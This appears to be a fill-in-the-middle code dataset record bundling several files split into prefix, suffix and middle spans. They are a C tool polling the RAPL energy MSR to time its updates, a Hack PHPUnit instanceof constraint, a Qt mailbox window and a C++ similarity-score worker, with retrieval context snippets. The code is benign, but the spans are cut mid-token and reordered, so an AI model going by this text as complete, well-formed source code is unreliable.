sprintf(msr_filename, "/dev/cpu/%d/msr", core); fd = open(msr_filename, O_RDONLY); if ( fd < 0 ) { if ( errno == ENXIO ) { fprintf(stderr, "rdmsr: No CPU %d\n", core); exit(2); } else if ( errno == EIO ) { fprintf(stderr, "rdmsr: CPU %d doesn't support MSRs\n", core); exit(3); } else { perror("rdmsr:open"); fprintf(stderr,"Trying to open %s\n",msr_filename); exit(127); } } return fd; } static uint64_t read_msr(int fd, int which) { uint64_t data; if (pread(fd, &data, sizeof(data), which) != sizeof(data)) { perror("rdmsr:pread"); exit(127); } return data; } static int do_affinity(int core) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core, &mask); int result = sched_setaffinity(0, sizeof(mask), &mask); return result >= 0; } static void timedelta(struct timespec *result, struct timespec *a, struct timespec *b) { time_t sec_delta = a->tv_sec - b->tv_sec; long nsec_delta = a->tv_nsec - b->tv_nsec; if (nsec_delta < 0) { sec_delta--; nsec_delta += 1000000000L; } result->tv_sec = sec_delta; result->tv_nsec = nsec_delta; } static double timespec_to_double(struct timespec *a) { return a->tv_sec + a->tv_nsec * 1e-9; } int main(int argc, char **argv) { int fd = -1; int core = 0; int c = 0; uint64_t result = 0; int i = 0, iteration = 0, duration = 1; opterr=0; while ((c = getopt (argc, argv, "c:t:")) != -1) { switch (c) { case 'c': core = atoi(optarg); break; case 't': duration = atoi(optarg); break; default: exit(-1); } } do_affinity(core); fd=open_msr(core); uint64_t prev_energy = read_msr(fd, MSR_PKG_ENERGY_STATUS); struct timespec tstart = {0, 0}; clock_gettime(CLOCK_REALTIME, &tstart); struct timespec tprev = {0, 0}; struct timespec tnow = {0, 0}; struct timespec tgap = {0, 0}; double fgap = 0.0; std::vector<double> gaps; gaps.reserve(duration * MAX_GAPS); double sum_gaps = 0.0; double biggest_gap = 0.0; int num_gaps = -1; for (iteration = 0; num_gaps < duration * MAX_GAPS; iteration++) { result = read_msr(fd, MSR_PKG_ENERGY_STATUS); if (result != prev_energy) { prev_energy = result; clock_gettime(CLOCK_REALTIME, &tnow); timedelta(&tgap, &tnow, &tprev); fgap = timespec_to_double(&tgap); num_gaps++; if (num_gaps > 0) { sum_gaps += fgap; if (fgap > biggest_gap) { biggest_gap = fgap; } gaps.push_back(fgap); } memcpy(&tprev, &tnow, sizeof(tprev)); } } clock_gettime(CLOCK_REALTIME, &tnow); struct timespec ttotal = {0, 0}; timedelta(&ttotal, &tnow, &tstart); double time_spent = timespec_to_double(&ttotal); printf("%d iterations in %f seconds.\n", iteration, time_spent); printf("Polling rate of %f hz.\n", iteration / time_spent); printf("MSR polling delay of %f microseconds.\n", time_spent / iteration * 1000000.0); printf("Biggest gap was %f millisecond.\n", biggest_gap * 1000.0); double avg_gap = sum_gaps / num_gaps; printf("Average gap of %f milliseconds.\n", avg_gap * 1000.0); double sum_squares = 0.0; for (i = 0; i < num_gaps; i++) { double diff = gaps[i] - avg_gap; sum_squares += diff * diff; } double std_dev = sqrt(sum_squares / num_gaps); printf("Standard deviation of the gaps is %f microseconds.\n", std_dev * 1000000.0); #if 0 double sum_cubes = 0.0; for (i = 0; i < num_gaps; i++) { double diff = gaps[i] - avg_gap; sum_cubes += diff * diff * diff; } double third_moment = sum_cubes / num_gaps; double skewness = third_moment / pow(std_dev, 3.0); printf("Skewness is %f microseconds.\n", skewness * 1000000.0); #endif FILE *fp = fopen("gaps-msr.csv", "w"); if (!fp) { fprintf(stderr, "Failed to open gaps-msr.csv!\n"); } else { printf("Dumping data to gaps-msr.csv\n"); for (i = 0; i < num_gaps; i++) { fprintf(fp, "%.9f\n", gaps[i]); } fclose(fp); } (void)argc; (void)argv; (void)result; return 0; }
#include <vector> #include <time.h> #define MAX_GAPS 1000 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h> #include <fcntl.h> #include <errno.h> #include <inttypes.h> #include <unistd.h> #include <math.h> #include <string.h> #include <sched.h> #define MSR_RAPL_POWER_UNIT 0x606 #define MSR_PKG_RAPL_POWER_LIMIT 0x610 #define MSR_PKG_ENERGY_STATUS 0x611 #define MSR_PKG_PERF_STATUS 0x613 #define MSR_PKG_POWER_INFO 0x614 #define MSR_PP0_POWER_LIMIT 0x638 #define MSR_PP0_ENERGY_STATUS 0x639 #define MSR_PP0_POLICY 0x63A #define MSR_PP0_PERF_STATUS 0x63B #define MSR_PP1_POWER_LIMIT 0x640 #define MSR_PP1_ENERGY_STATUS 0x641 #define MSR_PP1_POLICY 0x642 #define MSR_DRAM_POWER_LIMIT 0x618 #define MSR_DRAM_ENERGY_STATUS 0x619 #define MSR_DRAM_PERF_STATUS 0x61B #define MSR_DRAM_POWER_INFO 0x61C #define POWER_UNIT_OFFSET 0 #define POWER_UNIT_MASK 0x0F #define ENERGY_UNIT_OFFSET 0x08 #define ENERGY_UNIT_MASK 0x1F00 #define TIME_UNIT_OFFSET 0x10 #define TIME_UNIT_MASK 0xF000 static int open_msr(int core) { char msr_filename[BUFSIZ]; int fd; sprintf(msr_filename, "/dev/cpu/%d/msr", core); fd = open(msr_filename, O_RDONLY); if ( fd < 0 ) { if ( errno == ENXIO ) { fprintf(stderr, "rdmsr: No CPU %d\n", core); exit(2); } else if ( errno == EIO ) { fprintf(stderr, "rdmsr: CPU %d doesn't support MSRs\n", core); exit(3); } else { perror("rdmsr:open"); fprintf(stderr,"Trying to open %s\n",msr_filename); exit(127); } } return fd; } static uint64_t read_msr(int fd, int which) { uint64_t data; if (pread(fd, &data, sizeof(data), which) != sizeof(data)) { perror("rdmsr:pread"); exit(127); } return data; } static int do_affinity(int core) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core, &mask); int result = sched_setaffinity(0, sizeof(mask), &mask); return result >= 0; } static void timedelta(struct timespec *result, struct timespec *a, struct timespec *b) { time_t sec_delta = a->tv_sec - b->tv_sec; long nsec_delta = a->tv_nsec - b->tv_nsec; if (nsec_delta < 0) { sec_delta--; nsec_delta += 1000000000L; } result->tv_sec = sec_delta; result->tv_nsec = nsec_delta; } static double timespec_to_double(struct timespec *a) { return a->tv_sec + a->tv_nsec * 1e-9; } int main(int argc, char **argv) { int fd = -1; int core = 0; int c = 0; uint64_t result = 0; int i = 0, iteration = 0, duration = 1; opterr=0; while ((c = getopt (argc, argv, "c:t:")) != -1) { switch (c) { case 'c': core = atoi(optarg); break; case 't': duration = atoi(optarg); break; default: exit(-1); } } do_affinity(core); fd=open_msr(core); uint64_t prev_energy = read_msr(fd, MSR_PKG_ENERGY_STATUS); struct timespec tstart = {0, 0}; clock_gettime(CLOCK_REALTIME, &tstart); struct timespec tprev = {0, 0}; struct timespec tnow = {0, 0}; struct timespec tgap = {0, 0}; double fgap = 0.0; std::vector<double> gaps; gaps.reserve(duration * M
= 0; i < num_gaps; i++) { fprintf(fp, "%.9f\n", gaps[i]); } fclose(fp); } (void)argc; (void)argv; (void)result; return 0; }
AX_GAPS); double sum_gaps = 0.0; double biggest_gap = 0.0; int num_gaps = -1; for (iteration = 0; num_gaps < duration * MAX_GAPS; iteration++) { result = read_msr(fd, MSR_PKG_ENERGY_STATUS); if (result != prev_energy) { prev_energy = result; clock_gettime(CLOCK_REALTIME, &tnow); timedelta(&tgap, &tnow, &tprev); fgap = timespec_to_double(&tgap); num_gaps++; if (num_gaps > 0) { sum_gaps += fgap; if (fgap > biggest_gap) { biggest_gap = fgap; } gaps.push_back(fgap); } memcpy(&tprev, &tnow, sizeof(tprev)); } } clock_gettime(CLOCK_REALTIME, &tnow); struct timespec ttotal = {0, 0}; timedelta(&ttotal, &tnow, &tstart); double time_spent = timespec_to_double(&ttotal); printf("%d iterations in %f seconds.\n", iteration, time_spent); printf("Polling rate of %f hz.\n", iteration / time_spent); printf("MSR polling delay of %f microseconds.\n", time_spent / iteration * 1000000.0); printf("Biggest gap was %f millisecond.\n", biggest_gap * 1000.0); double avg_gap = sum_gaps / num_gaps; printf("Average gap of %f milliseconds.\n", avg_gap * 1000.0); double sum_squares = 0.0; for (i = 0; i < num_gaps; i++) { double diff = gaps[i] - avg_gap; sum_squares += diff * diff; } double std_dev = sqrt(sum_squares / num_gaps); printf("Standard deviation of the gaps is %f microseconds.\n", std_dev * 1000000.0); #if 0 double sum_cubes = 0.0; for (i = 0; i < num_gaps; i++) { double diff = gaps[i] - avg_gap; sum_cubes += diff * diff * diff; } double third_moment = sum_cubes / num_gaps; double skewness = third_moment / pow(std_dev, 3.0); printf("Skewness is %f microseconds.\n", skewness * 1000000.0); #endif FILE *fp = fopen("gaps-msr.csv", "w"); if (!fp) { fprintf(stderr, "Failed to open gaps-msr.csv!\n"); } else { printf("Dumping data to gaps-msr.csv\n"); for (i
random
[ { "content": "#define NUM_ITERATIONS 8000000ULL\n\n\n", "file_path": "linux-find-gaps.c", "rank": 0, "score": 58683.10501239511 }, { "content": "#define NUM_ITERATIONS 8000000ULL\n\n\n", "file_path": "linux-find-gaps-lite.c", "rank": 1, "score": 56641.30198108044 }, { "co...
C++
src/Zynga/PHPUnit/V2/Constraints/IsInstanceOfConstraint.hh
isabella232/zynga-hhvm-phpunit
1690b9d5c6c711fde6d908cc84b014fa8e1a7ef0
<?hh namespace Zynga\PHPUnit\V2\Constraints; use Zynga\PHPUnit\V2\Constraints\Base; use Zynga\Framework\ReflectionCache\V1\ReflectionClasses; use \ReflectionClass; use \ReflectionException; class IsInstanceOfConstraint extends Base { private string $className = ''; public function setExpected(mixed $className): bool { if (is_string($className) && (class_exists($className) || interface_exists($className))) { $this->className = $className; return true; } return false; } public function resetExpected(): bool { $this->className = ''; return true; } private function _getParentClasses( ReflectionClass $parentalUnit, ): Vector<string> { $parents = Vector {}; $parents->add($parentalUnit->getName()); $grandParent = $parentalUnit->getParentClass(); if ($grandParent instanceof ReflectionClass) { $parents->addAll($this->_getParentClasses($grandParent)); } return $parents; } public function matches(mixed $other): bool { if (!is_object($other)) { return false; } $lcClassName = strtolower($this->className); if ($lcClassName == strtolower(get_class($other))) { return true; } $reflection = ReflectionClasses::getReflection($other); if (!$reflection instanceof ReflectionClass) { return false; } $interfaces = $reflection->getInterfaces(); foreach ($interfaces as $interfaceName => $interface) { if (strtolower($interfaceName) == $lcClassName) { return true; } } $parentClasses = $this->_getParentClasses($reflection); foreach ($parentClasses as $parentClass) { if (strtolower($parentClass) == $lcClassName) { return true; } } return false; } public function failureDescription(mixed $other): string { return sprintf( '%s is an instance of %s "%s"', $this->getExporter()->shortenedExport($other), $this->getType(), $this->className, ); } public function toString(): string { return sprintf('is instance of %s "%s"', $this->getType(), $this->className); } private function getType(): string { try { $reflection = ReflectionClasses::getReflection($this->className); if ($reflection instanceof ReflectionClass && $reflection->isInterface()) { return 'interface'; } } catch (ReflectionException $e) { } return 'class'; } }
<?hh namespace Zynga\PHPUnit\V2\Constraints; use Zynga\PHPUnit\V2\Constraints\Base; use Zynga\Framework\ReflectionCache\V1\ReflectionClasses; use \ReflectionClass; use \ReflectionException; class IsInstanceOfConstraint extends Base { private string $className = ''; public function setExpected(mixed $className): bool { if (is_string($className) && (class_exists($className) || interface_exists($className))) { $this->className = $className; return true; } return false; } public function resetExpected(): bool { $this->className = ''; return true; } private function _getParentClasses( ReflectionClass $parentalUnit, ): Vector<string> { $parents = Vector {}; $parents->add($parentalUnit->getName()); $grandParent = $parentalUnit->getParentClass(); if ($grandParent instanceof ReflectionClass) { $parents->addAll($this->_getParentClasses($grandParent)); } return $parents; } public function matches(mixed $other): bool { if (!is_object($other)) { return false; } $lcClassName = strtolower($this->className); if ($lcClassName == strtolower(get_class($other))) { return true; } $reflection = ReflectionClasses::getReflection($other); if (!$reflection instanceof ReflectionClass) { return false; } $interfaces = $reflection->getInterfaces(); foreach ($interfaces as $interfaceName => $interface) { if (strtolower($interfaceName) == $lcClassName) { return true; } } $parentClasses = $this->_getParentClasses($reflection); foreach ($parentClasses as $parentClass) { if (strtolower($parentClass) == $lcClassName) { return true; } } return false; } public fu
$this->getType(), $this->className, ); } public function toString(): string { return sprintf('is instance of %s "%s"', $this->getType(), $this->className); } private function getType(): string { try { $reflection = ReflectionClasses::getReflection($this->className); if ($reflection instanceof ReflectionClass && $reflection->isInterface()) { return 'interface'; } } catch (ReflectionException $e) { } return 'class'; } }
nction failureDescription(mixed $other): string { return sprintf( '%s is an instance of %s "%s"', $this->getExporter()->shortenedExport($other),
function_block-random_span
[ { "content": " public function setDependencies(Vector<string> $deps): bool;\n\n\n", "file_path": "src/Zynga/PHPUnit/V2/Interfaces/TestInterface.hh", "rank": 0, "score": 525855.8649627401 }, { "content": " public function add(string $name, Code_Class $class): bool {\n\n $this->_classes->...
C++
src/app/gui/mailboxwindow.cpp
botorabi/Meet4Eat-Desktop
a3f27df5ab4b4697fcb5682900f48716b2021869
#include "mailboxwindow.h" #include <core/log.h> #include <common/basedialog.h> #include <common/dialogmessage.h> #include <settings/appsettings.h> #include <mailbox/widgetmaillist.h> #include <mailbox/widgetmailedit.h> #include "ui_mailboxwindow.h" namespace m4e { namespace gui { MailboxWindow::MailboxWindow( webapp::WebApp* p_webApp, QWidget* p_parent ) : QMainWindow( nullptr ), _p_ui( new Ui::MailboxWindow ), _p_webApp( p_webApp ) { setWindowFlags( Qt::Window | Qt::FramelessWindowHint | Qt::CustomizeWindowHint ); _p_ui->setupUi( this ); _p_ui->pushButtonResizer->setControlledWidget( this ); restoreWindowGeometry(); if ( p_parent ) { QRect geom = geometry(); QPoint parentcenter = p_parent->geometry().center(); QSize size = geometry().size(); geom.moveTopLeft( QPoint( parentcenter.x() - size.width() / 2, parentcenter.y() - size.height() / 2 ) ); setGeometry( geom ); } clearWidgetClientArea(); createWidgetMyMails(); } MailboxWindow::~MailboxWindow() { delete _p_ui; storeWindowGeometry(); } void MailboxWindow::storeWindowGeometry() { QSettings* p_settings = settings::AppSettings::get()->getSettings(); QByteArray geom = saveGeometry(); p_settings->setValue( M4E_SETTINGS_KEY_MAILBOX_GEOM, geom ); } void MailboxWindow::restoreWindowGeometry() { QSettings* p_settings = settings::AppSettings::get()->getSettings(); QByteArray geom = p_settings->value( M4E_SETTINGS_KEY_MAILBOX_GEOM ).toByteArray(); restoreGeometry( geom ); } void MailboxWindow::onBtnCloseClicked() { emit onMailWindowClosed(); deleteLater(); } void MailboxWindow::mouseDoubleClickEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; onBtnMaximizeClicked(); } void MailboxWindow::mousePressEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; _draggingPos = p_event->pos(); _dragging = true; } void MailboxWindow::mouseReleaseEvent( QMouseEvent* ) { _dragging = false; } void MailboxWindow::mouseMoveEvent( QMouseEvent* p_event ) { if ( _dragging ) { move( p_event->globalPos() - _draggingPos ); } } void MailboxWindow::keyPressEvent( QKeyEvent* p_event ) { if ( p_event->key() == Qt::Key_Escape ) { onBtnCloseClicked(); return; } QMainWindow::keyPressEvent( p_event ); } void MailboxWindow::onBtnMinimizeClicked() { setWindowState( Qt::WindowMinimized ); } void MailboxWindow::onBtnMaximizeClicked() { if ( windowState() & Qt::WindowMaximized ) { setWindowState( windowState() & ~Qt::WindowMaximized ); } else { setWindowState( Qt::WindowMaximized ); } } void MailboxWindow::onBtnNewMailClicked() { clearWidgetClientArea(); mailbox::WidgetMailEdit* p_widget = new mailbox::WidgetMailEdit( _p_webApp, this ); mailbox::ModelMailPtr mail = new mailbox::ModelMail(); mail->setSenderId( _p_webApp->getUser()->getUserData()->getId() ); p_widget->setupUI( mail, false ); connect( p_widget, SIGNAL( onMailSent() ), this, SLOT( onMailSent() ) ); _p_ui->widgetClientArea->layout()->addWidget( p_widget ); } void MailboxWindow::onMailSelection( QString mailId ) { clearWidgetClientArea(); mailbox::ModelMailPtr mail; if ( mailId.isEmpty() ) { if ( _p_webApp->getMailBox()->getAllMails().size() > 0 ) mail = _p_webApp->getMailBox()->getAllMails().at( 0 ); } else { mail = _p_webApp->getMailBox()->getMail( mailId ); } if ( !mail.valid() ) return; mailbox::WidgetMailEdit* p_widget = new mailbox::WidgetMailEdit( _p_webApp, this ); p_widget->setupUI( mail, true ); _p_ui->widgetClientArea->layout()->addWidget( p_widget ); } void MailboxWindow::onMailSent() { clearWidgetClientArea(); clearWidgetMyMails(); createWidgetMyMails(); onMailSelection( "" ); } void MailboxWindow::clearWidgetClientArea() { QLayoutItem* p_item; QLayout* p_layout = _p_ui->widgetClientArea->layout(); while ( ( p_layout->count() > 0 ) && ( nullptr != ( p_item = p_layout->takeAt( 0 ) ) ) ) { p_item->widget()->deleteLater(); delete p_item; } } void MailboxWindow::clearWidgetMyMails() { QLayoutItem* p_item; QLayout* p_layout = _p_ui->widgetMailItems->layout(); while ( ( p_layout->count() > 0 ) && ( nullptr != ( p_item = p_layout->takeAt( 0 ) ) ) ) { p_item->widget()->deleteLater(); delete p_item; } } void MailboxWindow::createWidgetMyMails() { clearWidgetClientArea(); mailbox::WidgetMailList* p_widget = new mailbox::WidgetMailList( _p_webApp, this, _p_ui ); _p_ui->widgetMailItems->layout()->addWidget( p_widget ); connect( p_widget, SIGNAL( onMailSelection( QString ) ), this, SLOT( onMailSelection( QString ) ) ); p_widget->selectFirstMail(); } } }
#include "mailboxwindow.h" #include <core/log.h> #include <common/basedialog.h> #include <common/dialogmessage.h> #include <settings/appsettings.h> #include <mailbox/widgetmaillist.h> #include <mailbox/widgetmailedit.h> #include "ui_mailboxwindow.h" namespace m4e { namespace gui { MailboxWindow::MailboxWindow( webapp::WebApp* p_webApp, QWidget* p_parent ) : QMainWindow( nullptr ), _p_ui( new Ui::MailboxWindow ), _p_webApp( p_webApp ) { setWindowFlags( Qt::Window | Qt::FramelessWindowHint | Qt::CustomizeWindowHint ); _p_ui->setupUi( this ); _p_ui->pushButtonResizer->setControlledWidget( this ); restoreWindowGeometry(); if ( p_parent ) { QRect geom = geometry(); QPoint parentcenter = p_parent->geometry().center(); QSize size = geometry().size(); geom.moveTopLeft( QPoint( parentcenter.x() - size.width() / 2, parentcenter.y() - size.height() / 2 ) ); setGeometry( geom ); } clearWidgetClientArea(); createWidgetMyMails(); } MailboxWindow::~MailboxWindow() { delete _p_ui; storeWindowGeometry(); } void MailboxWindow::storeWindowGeometry() { QSettings* p_settings = settings::AppSettings::get()->getSettings(); QByteArray geom = saveGeometry(); p_settings->setValue( M4E_SETTINGS_KEY_MAILBOX_GEOM, geom ); } void MailboxWindow::restoreWindowGeometry() { QSettings* p_settings = settings::AppSettings::get()->getSettings(); QByteArray geom = p_settings->value( M4E_SETTINGS_KEY_MAILBOX_GEOM ).toByteArray(); restoreGeometry( geom ); } void MailboxWindow::onBtnCloseClicked() { emit onMailWindowClosed(); deleteLater(); }
void MailboxWindow::mousePressEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; _draggingPos = p_event->pos(); _dragging = true; } void MailboxWindow::mouseReleaseEvent( QMouseEvent* ) { _dragging = false; } void MailboxWindow::mouseMoveEvent( QMouseEvent* p_event ) { if ( _dragging ) { move( p_event->globalPos() - _draggingPos ); } } void MailboxWindow::keyPressEvent( QKeyEvent* p_event ) { if ( p_event->key() == Qt::Key_Escape ) { onBtnCloseClicked(); return; } QMainWindow::keyPressEvent( p_event ); } void MailboxWindow::onBtnMinimizeClicked() { setWindowState( Qt::WindowMinimized ); } void MailboxWindow::onBtnMaximizeClicked() { if ( windowState() & Qt::WindowMaximized ) { setWindowState( windowState() & ~Qt::WindowMaximized ); } else { setWindowState( Qt::WindowMaximized ); } } void MailboxWindow::onBtnNewMailClicked() { clearWidgetClientArea(); mailbox::WidgetMailEdit* p_widget = new mailbox::WidgetMailEdit( _p_webApp, this ); mailbox::ModelMailPtr mail = new mailbox::ModelMail(); mail->setSenderId( _p_webApp->getUser()->getUserData()->getId() ); p_widget->setupUI( mail, false ); connect( p_widget, SIGNAL( onMailSent() ), this, SLOT( onMailSent() ) ); _p_ui->widgetClientArea->layout()->addWidget( p_widget ); } void MailboxWindow::onMailSelection( QString mailId ) { clearWidgetClientArea(); mailbox::ModelMailPtr mail; if ( mailId.isEmpty() ) { if ( _p_webApp->getMailBox()->getAllMails().size() > 0 ) mail = _p_webApp->getMailBox()->getAllMails().at( 0 ); } else { mail = _p_webApp->getMailBox()->getMail( mailId ); } if ( !mail.valid() ) return; mailbox::WidgetMailEdit* p_widget = new mailbox::WidgetMailEdit( _p_webApp, this ); p_widget->setupUI( mail, true ); _p_ui->widgetClientArea->layout()->addWidget( p_widget ); } void MailboxWindow::onMailSent() { clearWidgetClientArea(); clearWidgetMyMails(); createWidgetMyMails(); onMailSelection( "" ); } void MailboxWindow::clearWidgetClientArea() { QLayoutItem* p_item; QLayout* p_layout = _p_ui->widgetClientArea->layout(); while ( ( p_layout->count() > 0 ) && ( nullptr != ( p_item = p_layout->takeAt( 0 ) ) ) ) { p_item->widget()->deleteLater(); delete p_item; } } void MailboxWindow::clearWidgetMyMails() { QLayoutItem* p_item; QLayout* p_layout = _p_ui->widgetMailItems->layout(); while ( ( p_layout->count() > 0 ) && ( nullptr != ( p_item = p_layout->takeAt( 0 ) ) ) ) { p_item->widget()->deleteLater(); delete p_item; } } void MailboxWindow::createWidgetMyMails() { clearWidgetClientArea(); mailbox::WidgetMailList* p_widget = new mailbox::WidgetMailList( _p_webApp, this, _p_ui ); _p_ui->widgetMailItems->layout()->addWidget( p_widget ); connect( p_widget, SIGNAL( onMailSelection( QString ) ), this, SLOT( onMailSelection( QString ) ) ); p_widget->selectFirstMail(); } } }
void MailboxWindow::mouseDoubleClickEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; onBtnMaximizeClicked(); }
function_block-full_function
[ { "content": "namespace m4e\n\n{\n\nnamespace core\n\n{\n\n\n\n//! Sleep for given time (milliseconds)\n\nvoid milliSleep( unsigned int t );\n\n\n\n//! Returns a string with current date\n\nstd::string getFormatedDate();\n\n\n\n//! Returns a string with current time\n\nstd::string getFormatedTime();\n\n\n\n//! ...
C++
src/similarity_score_worker/SimilarityScoreWorker.cpp
scivey/relevanced
8f0fe67f48ea1da7468a70eef026ed23b4298a27
#include <memory> #include <vector> #include <folly/ExceptionWrapper.h> #include <folly/futures/Future.h> #include <folly/futures/helpers.h> #include <folly/futures/Try.h> #include <folly/Optional.h> #include <folly/Synchronized.h> #include <folly/Format.h> #include <wangle/concurrent/CPUThreadPoolExecutor.h> #include <wangle/concurrent/FutureExecutor.h> #include "centroid_update_worker/CentroidUpdateWorker.h" #include "document_processing_worker/DocumentProcessor.h" #include "models/Centroid.h" #include "models/ProcessedDocument.h" #include "models/WordVector.h" #include "persistence/CentroidMetadataDb.h" #include "gen-cpp2/RelevancedProtocol_types.h" #include "persistence/Persistence.h" #include "similarity_score_worker/SimilarityScoreWorker.h" #include "util/util.h" #include "util/ConcurrentMap.h" namespace relevanced { namespace similarity_score_worker { using models::WordVector; using models::ProcessedDocument; using models::Centroid; using util::ConcurrentMap; using util::UniquePointer; using thrift_protocol::ECentroidDoesNotExist; using namespace wangle; using namespace folly; using namespace std; SimilarityScoreWorker::SimilarityScoreWorker( shared_ptr<persistence::PersistenceIf> persistence, shared_ptr<persistence::CentroidMetadataDbIf> centroidMetadataDb, shared_ptr<FutureExecutor<CPUThreadPoolExecutor>> threadPool) : persistence_(persistence), centroidMetadataDb_(centroidMetadataDb), threadPool_(threadPool) { centroids_ = std::make_shared<ConcurrentMap<string, Centroid>>(10); } void SimilarityScoreWorker::initialize() { auto centroidIds = persistence_->listAllCentroids().get(); for (auto &id : centroidIds) { auto centroid = persistence_->loadCentroidUniqueOption(id).get(); if (centroid.hasValue()) { centroids_->insertOrUpdate(id, std::move(centroid.value())); } else { LOG(INFO) << format("SimilarityScoreWorker initialization: centroid '{}' doesn't seem to exist...", id); } } } Future<bool> SimilarityScoreWorker::reloadCentroid(string id) { return persistence_->loadCentroidUniqueOption(id) .then([id, this](Optional<UniquePointer<Centroid>> centroid) { if (!centroid.hasValue()) { LOG(INFO) << format("tried to reload null centroid '{}'", id); return false; } centroids_->insertOrUpdate(id, std::move(centroid.value())); return true; }); } Future<Try<double>> SimilarityScoreWorker::getDocumentSimilarity( string centroidId, ProcessedDocument *doc) { return threadPool_->addFuture( [this, centroidId, doc]() { auto centroid = centroids_->getOption(centroidId); if (!centroid.hasValue()) { LOG(INFO) << "relevance request against null centroid: " << centroidId; return Try<double>( make_exception_wrapper<ECentroidDoesNotExist>() ); } auto result = centroid.value()->score(doc); return Try<double>(result); }); } Future<Try<double>> SimilarityScoreWorker::getDocumentSimilarity( string centroidId, shared_ptr<ProcessedDocument> doc) { return getDocumentSimilarity(centroidId, doc.get()); } Future<Try<double>> SimilarityScoreWorker::getCentroidSimilarity( string centroid1Id, string centroid2Id) { return threadPool_->addFuture( [this, centroid1Id, centroid2Id]() { auto centroid1 = centroids_->getOption(centroid1Id); auto centroid2 = centroids_->getOption(centroid2Id); if (!centroid1.hasValue() || !centroid2.hasValue()) { return Try<double>( make_exception_wrapper<ECentroidDoesNotExist>() ); } return Try<double>( centroid1.value()->score( &centroid2.value().get()->wordVector ) ); }); } Optional<ConcurrentMap<string, Centroid>::ReadPtr> SimilarityScoreWorker::debugGetCentroid(const string &id) { return centroids_->getOption(id); } SimilarityScoreWorker::~SimilarityScoreWorker(){ } } }
#include <memory> #include <vector> #include <folly/ExceptionWrapper.h> #include <folly/futures/Future.h> #include <folly/futures/helpers.h> #include <folly/futures/Try.h> #include <folly/Optional.h> #include <folly/Synchronized.h> #include <folly/Format.h> #include <wangle/concurrent/CPUThreadPoolExecutor.h> #include <wangle/concurrent/FutureExecutor.h> #include "centroid_update_worker/CentroidUpdateWorker.h" #include "document_processing_worker/DocumentProcessor.h" #include "models/Centroid.h" #include "models/ProcessedDocument.h" #include "models/WordVector.h" #include "persistence/CentroidMetadataDb.h" #include "gen-cpp2/RelevancedProtocol_types.h" #include "persistence/Persistence.h" #include "similarity_score_worker/SimilarityScoreWorker.h" #include "util/util.h" #include "util/ConcurrentMap.h" namespace relevanced { namespace similarity_score_worker { using models::WordVector; using models::ProcessedDocument; using models::Centroid; using util::ConcurrentMap; using util::UniquePointer; using thrift_protocol::ECentroidDoesNotExist; using namespace wangle; using namespace folly; using namespace std; SimilarityScoreWorker::SimilarityScoreWorker( shared_ptr<persistence::PersistenceIf> persistence, shared_ptr<persistence::CentroidMetadataDbIf> centroidMetadataDb, shared_ptr<FutureExecutor<CPUThreadPoolExecutor>> threadPool) : persistence_(persistence), centroidMetadataDb_(centroidMetadataDb), threadPool_(threadPool) { centroids_ = std::make_shared<ConcurrentMap<string, Centroid>>(10); } void SimilarityScoreWorker::initialize() { auto centroidIds = persistence_->listAllCentroids().get(); for (auto &id : centroidIds) { auto centroid = persistence_->loadCentroidUniqueOption(id).get(); if (centroid.hasValue()) { centroids_->insertOrUpdate(id, std::move(centroid.value())); } else { LOG(INFO) << format("SimilarityScoreWorker initialization: centroid '{}' doesn't seem to exist...", id); } } } Future<bool> SimilarityScoreWorker::reloadCentroid(string id) { return persistence_->loadCentroidUniqueOption(id) .then([id, this](Optional<UniquePointer<Centroid>> centroid) { if (!centroid.hasValue()) { LOG(INFO) << format("tried to reload null centroid '{}'", id); return false; } centroids_->insertOrUpdate(id, std::move(centroid.value())); return true; }); } Future<Try<double>> SimilarityScoreWorker::getDocumentSimilarity( string centroidId, ProcessedDocument *doc) { return threadPool_->addFuture( [this, centroidId, doc]() { auto centroid = centroids_->getOption(centroidId); if (!centroid.hasValue()) { LOG(INFO) << "relevance request against null centroid: " << centroidId; return Try<double>( make_exception_wrapper<ECentroidDoesNotExist>() ); } auto result = centroid.value()->score(doc); return Try<double>(result); }); } Future<Try<double>> SimilarityScoreWorker::getDocumentSimilarity( string centroidId, shared_ptr<ProcessedDocument> doc) { return getDocumentSimilarity(centroidId, doc.get()); }
Optional<ConcurrentMap<string, Centroid>::ReadPtr> SimilarityScoreWorker::debugGetCentroid(const string &id) { return centroids_->getOption(id); } SimilarityScoreWorker::~SimilarityScoreWorker(){ } } }
Future<Try<double>> SimilarityScoreWorker::getCentroidSimilarity( string centroid1Id, string centroid2Id) { return threadPool_->addFuture( [this, centroid1Id, centroid2Id]() { auto centroid1 = centroids_->getOption(centroid1Id); auto centroid2 = centroids_->getOption(centroid2Id); if (!centroid1.hasValue() || !centroid2.hasValue()) { return Try<double>( make_exception_wrapper<ECentroidDoesNotExist>() ); } return Try<double>( centroid1.value()->score( &centroid2.value().get()->wordVector ) ); }); }
function_block-full_function
[ { "content": " def create_centroid(centroid_id, ignore_existing=false)\n\n request = CreateCentroidRequest.new\n\n request.id = centroid_id\n\n request.ignoreExisting = ignore_existing\n\n @thrift_client.createCentroid(request)\n\n end\n\n\n", "file_...
C++
core/src/cluster/AbstractClusterView.cpp
voei/megamol
569b7b58c1f9bc5405b79549b86f84009329f668
